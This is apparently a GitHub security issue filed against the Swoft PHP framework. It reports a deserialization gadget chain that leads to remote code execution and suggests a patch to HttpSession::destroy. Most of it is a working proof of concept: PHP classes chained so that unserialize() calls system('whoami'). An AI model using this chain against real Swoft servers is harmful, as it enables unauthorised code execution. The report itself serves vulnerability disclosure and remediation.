Skip to content

A gadget chain of the deserialization vulnerability in latest Swoft #1506

@CyanM0un

Description

@CyanM0un
Q A
Security report? yes

Details
The website swoft.io doesn't work so I report the gadget chain here, which could lead to RCE when deserializing untrusted data. The testing files are listed below:

<?php
// payload.php
namespace Swoft\Session
{
    class SwooleStorage
    {
        private $db;

        function __construct($function, $parameter)
        {
            $this->db = new \Swoft\Http\Session\HttpSession($function, $parameter);
        }
    }
}

namespace Swoft\Http\Session
{
    class HttpSession
    {
        private $handler;
        private $sessionId;

        function __construct($function, $parameter)
        {
            $this->sessionId = 'x';
            $this->handler = new \Swoft\Console\Style\Style($function, $parameter);
        }
    }
}

namespace Swoft\Console\Style
{
    class Style
    {
        private $styles;
        
        function __construct($function, $parameter)
        {
            $this->styles = new \Dotenv\Environment\DotenvVariables($function, $parameter);
        }
    }
}

namespace Dotenv\Environment
{
    class DotenvVariables
    {
        protected $adapters;

        function __construct($function, $parameter)
        {
            $this->adapters = new \PhpOption\LazyOption($function, $parameter);
        }
    }
}

namespace PhpOption
{
    class LazyOption
    {
        private $callback;
        private $arguments;

        function __construct($function, $parameter)
        {
            $this->callback = $function;
            $this->arguments = [$parameter];
        }
    }
}

namespace
{
    echo urlencode(serialize(new \Swoft\Session\SwooleStorage("system", "whoami")));
}
//index.php in Swotf directory
<?php
include_once __DIR__ . "/vendor/autoload.php";
unserialize(urldecode($poc));

Advice
I am wondering about adding a patch below in class Swoft\Http\Session\HttpSession may help prevent the gadget chain execution:

public function destroy(): bool
{
    $this->data   = [];
    $this->closed = true;
    if (!method_exists($this->handler,'destroy')) {die();}
    return $this->handler->destroy($this->sessionId);
}

Metadata

Metadata

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions